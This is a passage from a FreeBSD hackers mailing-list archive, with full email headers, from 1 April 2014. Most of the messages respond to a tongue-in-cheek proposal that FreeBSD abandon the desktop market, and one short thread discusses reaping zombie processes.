71A59790; Tue, 1 Apr 2014 15:45:55 +0000 (UTC) Received: from localhost (localhost [127.0.0.1]) by zimbra2.tngtech.com (Postfix) with ESMTP id 1B2B79CE0DC; Tue, 1 Apr 2014 17:45:55 +0200 (CEST) X-Virus-Scanned: amavisd-new at tngtech.com Received: from zimbra2.tngtech.com ([127.0.0.1]) by localhost (zimbra2.tngtech.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id mfQEWYf4zfq4; Tue, 1 Apr 2014 17:45:52 +0200 (CEST) Received: from hactar.localnet (hactar.int.tngtech.com [10.1.2.115]) by zimbra2.tngtech.com (Postfix) with ESMTPSA id 566019CE0D9; Tue, 1 Apr 2014 17:45:52 +0200 (CEST) From: Stefan Wendler To: lists@eitanadler.com, hackers@freebsd.org, current@freebsd.org, freebsd-advocacy@freebsd.org Subject: Fwd: Re: Leaving the Desktop Market Date: Tue, 01 Apr 2014 17:45:52 +0200 Message-ID: <1652875.CSUMLAyc3c@hactar> Organization: TNG Technology Consulting GmbH User-Agent: KMail/4.10.5 (FreeBSD/10.0-RELEASE; KDE/4.10.5; amd64; ; ) MIME-Version: 1.0 Content-Transfer-Encoding: 7Bit Content-Type: text/plain; charset="us-ascii" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 01 Apr 2014 15:45:57 -0000 Sorry, should have replied to everybody ;) Cheers ---------- Forwarded Message ---------- Subject: Re: Leaving the Desktop Market Date: Tuesday 01 April 2014, 17:34:28 From: Stefan Wendler To: freebsd-hackers@freebsd.org Hi, On Monday 31 March 2014 22:46:45 Eitan Adler wrote: > Hi all, > > Some of you may have seen my posts entitled "Story of a Laptop User" > and "Story of a Desktop User". For those of you who did not, it can > be a worthwhile read to see what life is like when using FreeBSD as a > desktop. In short, it is an educational experience. While FreeBSD > can be coerced to do the right thing, it is rarely there by default > and often doesn't work as well as we would expect. > I don't know the posts you are talking about. I'm using FreeBSD as a server since Version 7. Since FreeBSD 9 I'm also using it as main notebook OS. With everything you can imagine: sound, flash, 3D gfx, eve online via wine rocks, printing, scanning, you name it. Yes, FreeBSD has some rough edges. But after over 18 years of Linux I can say, Linux has enough rough edges and depending on the current needs I more than freaked out once with each distro. And I still am freaking out on a daily basis as a *nix admin when one of the Linux's shows their true face. Like undocumented autoupgrading that messes up your whole ovirt-cluster. I never had that with a BSD. But what there is to learn is, I only ever had problems with consumer/cheap hardware. Most Linux Distros suck at least one way. For me the only Distro that really made me happy for over 14 years was Gentoo. In a way FreeBSD is similar but much much cleaner and sorted. It may be that FreeBSD is not for you and you are more the Linux Mint/*buntu user. But it would be a nightmare for me, if the good FreeBSD folks would stop supporting X-stuff. I even give to the FreeBSD Foundation on a monthly basis with the wish to further support the desktop. FreeBSD is quite simple once you get the hang of it. But you have to be the person that likes to dig in sometimes. Currently it runs as smooth as butter here. When learning to use Gentoo for example I had not only one sleepless night where I had to fix broken libc upgrades without the ability to google that. But this is how we learn. With FreeBSD you have at least a running base system even if you mess up big time. Delete /usr/local/* but keep your /usr/local/etc and start over ... try that with Linux. No chance! I can go on here ;) The big lag of FreeBSD is indeed vendor support. But it won't get better if we drop support for stuff. I'm sorry FreeBSD is such an upsetting experience for you. > Some of you may point to PCBSD and say that we have a chance, but I > must ask you: how does one flavor stand up to the thousands in the > Linux world? ... PCBSD stands out in that it is a really nice experience and people from the Linux world are asking about it and it just plain works mostly out of the box like a ubuntu or mint does, on hardware that is not no-name. And there is always GhostBSD (http://www.ghostbsd.org/) ... so there are two flavours already ;) The base system is still FreeBSD but I don't think that this is a problem. Ever fu**d around with getting the right packages in the right versions of some tools for example SuSE, CentOS, Debian, or whatever without freaking out? The different approaches in packaging systems on Linux is a mess as well. PCBSD is not for me though. But not that is isn't working but it is not for me as a BSD user as Ubuntu never was for me as a Linux/Gentoo user. Linux is not the silver bullet. And in every Linux forum there are always people that complain about why Linux or this or that distro sucks and why they move on. And even Linux wouldn't be what it is without the various BSDs. Cheers, Stefan P.S. One thing they could upgrade though is the linuxulator. _______________________________________________ freebsd-hackers@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-hackers To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" ----------------------------------------- From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 1 16:13:01 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 92E9AC94 for ; Tue, 1 Apr 2014 16:13:01 +0000 (UTC) Received: from mail-ob0-f181.google.com (mail-ob0-f181.google.com [209.85.214.181]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 56F79A3C for ; Tue, 1 Apr 2014 16:13:01 +0000 (UTC) Received: by mail-ob0-f181.google.com with SMTP id wp4so11279669obc.40 for ; Tue, 01 Apr 2014 09:12:54 -0700 (PDT) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:content-type:mime-version:subject:from :in-reply-to:date:cc:content-transfer-encoding:message-id:references :to; bh=gKv5pwnZSBqPlLpm5s0jAdHbB7zgwC1d/sfRjvyREyk=; b=LBkU2G51TP2ue6VKRkKQz85IUBdVu6Vys+X7f6cW+7YjY7Zvc/NYNUv6yFhAQu8y5m AeTkKdD2loLMivJhc3FbQhv3ypcuN9iPOGzX0vyw31Y78Z2yQs0Zz4nBJZm3RyzjBFPg PapDa7focJno1ObWPemeJv3Mus4f7RVXJVfRQvVOViv+MvCO9dy0T1e6Nra4ACGuChuE pAeO/I2tdE5FgrB299mZdCWsdOJrhhigJjUg+Zi+Xe0iYvq5yV2WuUrL9dOk/U4h+BRy +1zNlYF6t9sXhsLRmhS3rLfK26RVZ8pkBnCs91rbaofNaQDHEYbnJsbK7fGEYzsXGpRU A8Lw== X-Gm-Message-State: ALoCoQkwigcMVEodl2d1TRCoqROfxhR4Ur36H5I2Vain05htlf8zQff/DwztxuCqhWX7H7JMspGW X-Received: by 10.182.24.226 with SMTP id x2mr2412189obf.13.1396368774167; Tue, 01 Apr 2014 09:12:54 -0700 (PDT) Received: from jims-mini.pfmechanics.com ([208.123.73.29]) by mx.google.com with ESMTPSA id cn1sm47486929oeb.11.2014.04.01.09.12.51 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Tue, 01 Apr 2014 09:12:52 -0700 (PDT) Content-Type: text/plain; charset=windows-1252 Mime-Version: 1.0 (Mac OS X Mail 7.2 \(1874\)) Subject: Re: Leaving the Desktop Market From: Jim Thompson In-Reply-To: <1396353429.56465.7.camel@powernoodle.corp.yahoo.com> Date: Tue, 1 Apr 2014 11:12:50 -0500 Content-Transfer-Encoding: quoted-printable Message-Id: <84CEE725-93E4-40BC-8092-5768E9DB47E6@netgate.com> References: <1396353429.56465.7.camel@powernoodle.corp.yahoo.com> To: Sean Bruno X-Mailer: Apple Mail (2.1874) Cc: Eitan Adler , hackers@freebsd.org, current@freebsd.org, freebsd-advocacy@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 01 Apr 2014 16:13:01 -0000 On Apr 1, 2014, at 6:57 AM, Sean Bruno wrote: > Why even bother? Its over, just embrace the future and be like this > happy Mac user: >=20 > http://people.freebsd.org/~sbruno/happy_desktop_user.jpg I have Macs at work (typing on one now), and a mac at home. I like = them. I recently installed FreeBSD 10 on an Intel i5 NUC. 16GB ram, and a = 120GB m-SATA SSD. I put a nice keyboard and an old 19=94 Dell monitor on it, used = vidconsole to make the screen green on black, and a decent resolution. It=92s just like being back in the 80s, when Unix had a desktop market, = only much, much faster.= From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 1 15:36:47 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 1DD32CAF; Tue, 1 Apr 2014 15:36:47 +0000 (UTC) Received: from smarthost1.greenhost.nl (smarthost1.greenhost.nl [195.190.28.81]) (using TLSv1 with cipher AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id CCF13644; Tue, 1 Apr 2014 15:36:46 +0000 (UTC) Received: from smtp.greenhost.nl ([213.108.104.138]) by smarthost1.greenhost.nl with esmtps (TLS1.0:RSA_AES_256_CBC_SHA1:32) (Exim 4.72) (envelope-from ) id 1WV0js-0001Im-NT; Tue, 01 Apr 2014 17:36:36 +0200 Content-Type: text/plain; charset=iso-8859-15; format=flowed; delsp=yes To: "Chris H" , "John Baldwin" Subject: Re: Process handlers, and zombies, or preap(1) References: <26dbb84bafaf0114cb75c3fbe060d412.authenticated@ultimatedns.net> <201404010941.33741.jhb@freebsd.org> <201404011110.31723.jhb@freebsd.org> Date: Tue, 01 Apr 2014 17:36:35 +0200 MIME-Version: 1.0 Content-Transfer-Encoding: 7bit From: "Ronald Klop" Message-ID: In-Reply-To: <201404011110.31723.jhb@freebsd.org> User-Agent: Opera Mail/12.16 (Win32) X-Authenticated-As-Hash: 398f5522cb258ce43cb679602f8cfe8b62a256d1 X-Virus-Scanned: by clamav at smarthost1.samage.net X-Spam-Level: / X-Spam-Score: -0.2 X-Spam-Status: No, score=-0.2 required=5.0 tests=ALL_TRUSTED, BAYES_50 autolearn=disabled version=3.3.2 X-Scan-Signature: 4b95630a2805109a2fafe329e7ec4fd6 X-Mailman-Approved-At: Tue, 01 Apr 2014 16:24:34 +0000 Cc: freebsd-hackers@freebsd.org, freebsd-hackers , freebsd-stable X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 01 Apr 2014 15:36:47 -0000 On Tue, 01 Apr 2014 17:10:31 +0200, John Baldwin wrote: > On Tuesday, April 01, 2014 10:28:02 am Chris H wrote: >> > On Monday, March 31, 2014 4:06:43 pm Chris H wrote: >> >> Greetings, >> >> I'm evaluating/experimenting on releng_9. The install, and now >> >> custom kernel have noting exotic, or anything out of the ordinary. >> >> top(1), and ps(1) indicate a (1) zombie, or process. On >> >> my releng_8 systems, when I occasionally encounter one of these, >> >> they soon disappear (are reaped) from the process table. While I >> >> have not investigated this far enough on both versions to determine >> >> whether the parent process reaped the child on the releng_8 systems, >> >> and the parent on releng_9 is simply an irresponsible parent, eg; >> >> a different parent. Before I do, I was wondering if there was any >> >> specific difference between the 2 versions that might cause better >> >> handling of such situations. While I recognize that resource >> >> starvation is HIGHLY unlikely, except by perhaps a rouge parent >> >> spawning multitudes of zombies. I thought it might be useful for >> >> "housekeeping" to 1) provide a process table housekeeper (zombie >> >> reaper), or 2) create a system utility/command like SunOS/OpenSolaris >> >> has; preap(1). >> >> >> >> http://www.freebsd.org/cgi/man.cgi?query=preap&manpath=SunOS+5.10 >> >> >> >> Thank you for your time, and consideration. >> > >> > Nothing is different with child processes in 9 vs 8. It is most >> > likely a misbehaving parent (or the parent is stuck or hung). >> >> Hello, John, and thank you for the reply. >> Right you are. Julian Elischer was kind enough to remind me that >> ps -alx >> would give me the information I needed to find the seemingly >> "lazy" parent process. But not before I had already (re)created >> a (Free)BSD version of preap(1), and cleared the entry from the >> proc table. >> However, it re-appeared again. So this time I traced it to it's >> parent, and now I can deal with it /properly/. It's an old port >> who's development was taken over by a Windows developer. So he >> doesn't have access to the *NIX-isms. I'll see if I can find >> the time to coordinate some effort(s) to clean it up, or branch >> a NIX version. >> >> Thank you /very/ much for addressing my original question. > > sysutils/pstree from ports can also be useful for figuring this > sort of thing out btw. > or 'ps axd' From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 1 16:38:49 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id E1945426; Tue, 1 Apr 2014 16:38:48 +0000 (UTC) Received: from udns.ultimateDNS.NET (ultimatedns.net [209.180.214.225]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id AF984C47; Tue, 1 Apr 2014 16:38:48 +0000 (UTC) Received: from udns.ultimateDNS.NET (localhost [127.0.0.1]) by udns.ultimateDNS.NET (8.14.5/8.14.5) with ESMTP id s31GfM9m000764; Tue, 1 Apr 2014 09:41:28 -0700 (PDT) (envelope-from bsd-lists@bsdforge.com) Received: (from www@localhost) by udns.ultimateDNS.NET (8.14.5/8.14.5/Submit) id s31GfGVA000750; Tue, 1 Apr 2014 09:41:16 -0700 (PDT) (envelope-from bsd-lists@bsdforge.com) Received: from unavailable02.ultimatedns.net ([209.180.214.228]) (UDNSMS authenticated user chrish) by ultimatedns.net with HTTP; Tue, 1 Apr 2014 09:41:16 -0700 (PDT) Message-ID: In-Reply-To: <042a9d0660e68acaf4471a571383df8e.squirrel@mx.waitman.net> References: <042a9d0660e68acaf4471a571383df8e.squirrel@mx.waitman.net> Date: Tue, 1 Apr 2014 09:41:16 -0700 (PDT) Subject: Re: Leaving the Desktop Market From: "Chris H" To: uzimac@da3m0n8t3r.com User-Agent: UDNSMS/2.0.3 MIME-Version: 1.0 Content-Type: text/plain;charset=utf-8 Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) Importance: Normal Cc: Eitan Adler , hackers@freebsd.org, current@freebsd.org, freebsd-advocacy@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 01 Apr 2014 16:38:49 -0000 > > On Mon, March 31, 2014 10:46 pm, Eitan Adler wrote: >> Hi all, >> >> >> Some of you may have seen my posts entitled "Story of a Laptop User" >> and "Story of a Desktop User". For those of you who did not, it can be a >> worthwhile read to see what life is like when using FreeBSD as a desktop. >> In short, it is an educational experience. While FreeBSD >> can be coerced to do the right thing, it is rarely there by default and >> often doesn't work as well as we would expect. >> >> The following are issues I haven't brought up in the past: >> >> >> Battery life sucks: it�s almost as if powerd wasn't running. Windows >> can run for five hours on my laptop while FreeBSD can barely make it two >> hours. I wonder what the key differences are? Likely it�s that we >> focus so much on performance that no one considers power. ChromeOS can >> run for 12 hours on some hardware; why can't we make FreeBSD run for 16? >> >> Sound configuration lacks key documentation: how can I automatically >> change between headphones and external speakers? You can't even do that >> in middle of a song at all! Trust me that you never want to be staring at >> an HDA pin configuration. I'll bet you couldn't even get sound streaming >> to other machines working if you tried. >> >> FreeBSD lacks vendor credibility: CUDA is unsupported. Dropbox hasn't >> released a client for FreeBSD. Nvidia Optimus doesn't function on FreeBSD. >> Can you imagine telling someone to purchase a laptop with >> the caveat: "but you won't be able to use your graphics card"? >> >> In any case, half of our desktop support is emulation: flash and opera >> only works because of the linuxulator. There really isn't any reason for >> vendors to bother supporting FreeBSD if we are just going to ape Linux >> anyways. >> >> That is why on this date I propose that we cease competing on the >> desktop market. FreeBSD should declare 2014 to be "year of the Linux >> desktop" and start to rip out the pieces of the OS not needed for server >> or embedded use. >> >> Some of you may point to PCBSD and say that we have a chance, but I >> must ask you: how does one flavor stand up to the thousands in the Linux >> world? >> >> Eitan Adler >> _______________________________________________ >> freebsd-current@freebsd.org mailing list >> http://lists.freebsd.org/mailman/listinfo/freebsd-current >> To unsubscribe, send any mail to "freebsd-current-unsubscribe@freebsd.org" > > Hi, > > I don't understand the gripe about sound. OSS works well. If you install > the verson in ports, audio/oss, you get a more elaborate set of tools. ---8<--- > > The thing about sound, the card is a digital-to-analog converter, and > vice-versa. It uses PCM data. (PCM was actually first 'invented' in the > 1800's - no fools joke). Digital audio/Sound has never really gotten > better, it has only gotten cheaper. WOW. That an interesting bit of historical information. Thanks for sharing it! --Chris > > > -- > Waitman Gobble > San Jose California USA > +1.510-830-7975 > > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" > > From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 1 17:11:29 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id DA21BE97; Tue, 1 Apr 2014 17:11:28 +0000 (UTC) Received: from mail-pa0-x233.google.com (mail-pa0-x233.google.com [IPv6:2607:f8b0:400e:c03::233]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id A459A95; Tue, 1 Apr 2014 17:11:28 +0000 (UTC) Received: by mail-pa0-f51.google.com with SMTP id kq14so10149161pab.38 for ; Tue, 01 Apr 2014 10:11:28 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:reply-to:sender:in-reply-to:references:date:message-id :subject:from:to:cc:content-type:content-transfer-encoding; bh=E+ax7u65PAacNzXXWXH8y3DQ1R8vTX8PYda5aJzePks=; b=QE2HHdNdfRpvjPX8yg9ulVb+066RrqAFXTYXIQVh9y/64lGs9zbUFxRMG6VwhbptAI Ms+QpHi32APIA9fVMMs97dNnRN7Oex1ytot0wF9Y7+UUoGY/O0n9lKljgX+Bs+h0ZKZo RRKMFjG2Cej1YnGtK9RxICawrtfNF7knd23x5BcymQUVCzO/QgbZoSlbmLRblox63F2r KFC8o8IpBiFXjXVK5OEZAr4Quyhk4OEwJvOhJeEYyoUxsDnnjs+jiMkp8ktX6Io5AEJN hoLHPiMmckynd9Hp4IlrMBTxfAcABE6IlLMobrni8LQIJ+YAX/TaitajodaUKc4wiuil FpLg== MIME-Version: 1.0 X-Received: by 10.66.146.229 with SMTP id tf5mr32752540pab.50.1396372288266; Tue, 01 Apr 2014 10:11:28 -0700 (PDT) Sender: mattjeet@gmail.com Received: by 10.70.132.228 with HTTP; Tue, 1 Apr 2014 10:11:28 -0700 (PDT) In-Reply-To: References: Date: Tue, 1 Apr 2014 10:11:28 -0700 X-Google-Sender-Auth: e2dkxKDub8NiNvBtK2CG2BGkDVQ Message-ID: Subject: Re: Leaving the Desktop Market From: Matt Olander To: Jordan Hubbard Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Cc: Eitan Adler , hackers@freebsd.org, current@freebsd.org, freebsd-advocacy@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list Reply-To: matt@ixsystems.com List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 01 Apr 2014 17:11:29 -0000 On Tue, Apr 1, 2014 at 12:11 AM, Jordan Hubbard wr= ote: > > On Apr 1, 2014, at 10:46 AM, Eitan Adler wrote: > >> That is why on this date I propose that we cease competing on the >> desktop market. FreeBSD should declare 2014 to be "year of the Linux >> desktop" and start to rip out the pieces of the OS not needed for >> server or embedded use. >> >> Some of you may point to PCBSD and say that we have a chance, but I >> must ask you: how does one flavor stand up to the thousands in the >> Linux world? > > The fact that this posting comes out on April 1st makes me wonder if it's= just an elaborate April Fool's joke, but then the notion of *BSD (or Linux= , for that matter) on the Desktop is just another long-running April fool's= joke, so I'm willing to postulate that two April Fools jokes would simply = cancel each other out and make this posting a serious one again. :-) > > I'll choose to be serious and say what I'm about to say in spite of the f= act that I work for the primary sponsor of PC-BSD and actually like the fac= t that it has created some interesting technologies like PBIs, the Jail War= den, Life-preserver and a ZFS boot environment menu. > > There is no such thing as a desktop market for *BSD or Linux. There neve= r has been and there never will be. Why do you think we chose "the power = to serve" as FreeBSD's first marketing slogan? It makes a fine server OS a= nd it's easy to defend its role in the server room. It's also becoming eas= ier to defend its role as an embedded OS, which is another excellent niche = to pursue and I am happy to see all the recent developments there. > > A desktop? Unless you consider Mac OS X to be "BSD on the desktop" (and = while they share some common technologies, it's increasingly a stretch to s= ay that), it's just never going to happen for (at least) the following reas= ons: As you may imagine, I completely disagree! The Internet just had it's 20th birthday (it can't even drink yet!) and it's anyone's game. This is like trying to predict automobile technology and dominant car-makers by 1905. There's always room for competition. Take a look at what's happening right now in the auto-industry. Tesla came out of nowhere 125 years after the invention of the automobile and is doing pretty well. I bet there were a lot of people at Apple saying they couldn't compete in the music-player market, or the mobile-phone market, etc. In fact, if I look at the stats on freenas.org, we have about 350k visitors each month, with nearly 2% of them running FreeBSD and clearly using it to surf the internet. Sounds like a market to me! Long live the FreeBSD desktop, long live PC-BSD :P Cheers, -matt From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 1 16:35:58 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 4205C371; Tue, 1 Apr 2014 16:35:58 +0000 (UTC) Received: from msxedgnsprd02.gw.upmc.edu (msxedgnsprd02.gw.upmc.edu [128.147.248.49]) (using TLSv1 with cipher AES128-SHA (128/128 bits)) (Client CN "edgesmtp.upmc.edu", Issuer "DigiCert Secure Server CA" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 01984C0A; Tue, 1 Apr 2014 16:35:57 +0000 (UTC) Received: from MSXHCSNSPRD06.acct.upmchs.net (10.25.36.150) by msxedgnsprd02.gw.upmc.edu (128.147.248.49) with Microsoft SMTP Server (TLS) id 8.3.279.5; Tue, 1 Apr 2014 12:33:59 -0400 Received: from MSXMBXNSPRD18.acct.upmchs.net ([fe80::b9c2:2a8f:4156:e29a]) by MSXHCSNSPRD06.acct.upmchs.net ([fe80::bc42:b062:936d:ca9e%16]) with mapi id 14.03.0174.001; Tue, 1 Apr 2014 12:34:00 -0400 From: "Person, Roderick" To: Randi Harper , Jordan Hubbard Subject: RE: Leaving the Desktop Market Thread-Index: AQHPTXK/Sv0Vejkt9U6Rw5R4emlPapr8m1GAgACWugD//8CwQA== Date: Tue, 1 Apr 2014 16:33:59 +0000 Message-ID: <09D177203C215546ACA94AF0459D4989EFF9DF@msxmbxnsprd18.acct.upmchs.net> References: In-Reply-To: Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: x-originating-ip: [10.24.32.190] Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 X-Mailman-Approved-At: Tue, 01 Apr 2014 18:15:51 +0000 Cc: "FreeBSD, Advocacy" , "hackers@freebsd.org" , "current@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 01 Apr 2014 16:35:58 -0000 -----Original Message----- > From: owner-freebsd-advocacy@freebsd.org [mailto:owner-freebsd-advocacy@f= reebsd.org] On Behalf Of Randi Harper > >You know you opened a can of worms with that one. Because all the nerds ar= e going to step up and say "Well, I run FreeBSD on my >desktop! It's total= ly viable!" > >Dear nerds, get some perspective. You aren't an end user, and you're masoc= histic. It's okay, we accept you here. But your individual >use case doesn'= t indicate a place in the market. Your basement isn't a market. It's a base= ment. Your small company isn't a market. It's a >small company. Many compan= ies combined create a market. Why aren't all the nerds and small businesses out there a market? I'm no m= arketing expert or anything, but it would seem that there is some kind of m= arket out there that isn't being catered to. I may be a masochist, but I r= efuse to have to pay Apples prices for their hardware. They just seem insa= ne to me. If they ever decided to sell OS X for non-Apple hardware I might= use it. And just for the record I've been using FreeBSD as an exclusive home deskto= p since 1999. =20 At work now so however Outlook mangles this is my fault :) Rod Person Programmer (412)454-2616 Just because it can been done, does not mean it should be done. From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 1 17:43:05 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 8C7E1E64; Tue, 1 Apr 2014 17:43:05 +0000 (UTC) Received: from mail.0x20.net (mail.0x20.net [IPv6:2001:aa8:fffb:1::3]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 45C483D2; Tue, 1 Apr 2014 17:43:05 +0000 (UTC) Received: from e-new.0x20.net (mail.0x20.net [IPv6:2001:aa8:fffb:1::3]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by mail.0x20.net (Postfix) with ESMTPS id 43B846A6007; Tue, 1 Apr 2014 19:43:03 +0200 (CEST) Received: from e-new.0x20.net (localhost [127.0.0.1]) by e-new.0x20.net (8.14.7/8.14.7) with ESMTP id s31Hh3kw029600; Tue, 1 Apr 2014 19:43:03 +0200 (CEST) (envelope-from lars@e-new.0x20.net) Received: (from lars@localhost) by e-new.0x20.net (8.14.7/8.14.7/Submit) id s31Hh27j028598; Tue, 1 Apr 2014 19:43:02 +0200 (CEST) (envelope-from lars) Date: Tue, 1 Apr 2014 19:43:02 +0200 From: Lars Engels To: dteske@FreeBSD.org Subject: Re: Leaving the Desktop Market Message-ID: <20140401174302.GU44074@e-new.0x20.net> References: <20140401094044.GX44074@e-new.0x20.net> <083e01cf4db9$f8f4e040$eadea0c0$@FreeBSD.org> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="UEgmpZn7Z/frN9Sq" Content-Disposition: inline In-Reply-To: <083e01cf4db9$f8f4e040$eadea0c0$@FreeBSD.org> X-Editor: VIM - Vi IMproved 7.4 X-Operation-System: FreeBSD 8.4-RELEASE-p4 User-Agent: Mutt/1.5.23 (2014-03-12) X-Mailman-Approved-At: Tue, 01 Apr 2014 18:45:22 +0000 Cc: 'Eitan Adler' , hackers@freebsd.org, current@freebsd.org, 'Jordan Hubbard' , freebsd-advocacy@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 01 Apr 2014 17:43:05 -0000 --UEgmpZn7Z/frN9Sq Content-Type: text/plain; charset=utf-8 Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Tue, Apr 01, 2014 at 07:52:13AM -0700, dteske@FreeBSD.org wrote: >=20 >=20 > > -----Original Message----- > > From: Lars Engels [mailto:lars.engels@0x20.net] > > Sent: Tuesday, April 1, 2014 2:41 AM > > To: Jordan Hubbard > > Cc: Eitan Adler; hackers@freebsd.org; current@freebsd.org; freebsd- > > advocacy@freebsd.org > > Subject: Re: Leaving the Desktop Market > >=20 > > On Tue, Apr 01, 2014 at 12:11:19PM +0500, Jordan Hubbard wrote: > > > > > > On Apr 1, 2014, at 10:46 AM, Eitan Adler wrote: > > > > > > > That is why on this date I propose that we cease competing on the > > > > desktop market. FreeBSD should declare 2014 to be "year of the > [snip] >=20 > > I'm a happy FreeBSD desktop user since 4.7. There are some edges, but I > > really like that I can can create a desktop the way _I_ want it and my = mail > > client even allows me to break lines at 80 chars. Eat that, Apple Mail!= ;-) >=20 > What e-mail client do you use? Evolution? No, mutt, with vim as mail composer. :) --UEgmpZn7Z/frN9Sq Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.22 (FreeBSD) iKYEARECAGYFAlM6+qZfFIAAAAAALgAoaXNzdWVyLWZwckBub3RhdGlvbnMub3Bl bnBncC5maWZ0aGhvcnNlbWFuLm5ldDE3RkMwOEUxNUUwOUJEMjE0ODlFMjA1MDI5 Q0U3NURBQzBGNzY5RjgACgkQKc512sD3afh1tQCgg0CSs1GdUrEnWHFitbOGE2H7 CqIAnREy4VYmk+t/242aFzMeSP2/LK6h =sB6V -----END PGP SIGNATURE----- --UEgmpZn7Z/frN9Sq-- From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 1 18:59:41 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 853301ED; Tue, 1 Apr 2014 18:59:41 +0000 (UTC) Received: from mail-ob0-x232.google.com (mail-ob0-x232.google.com [IPv6:2607:f8b0:4003:c01::232]) (using TLSv1 with cipher 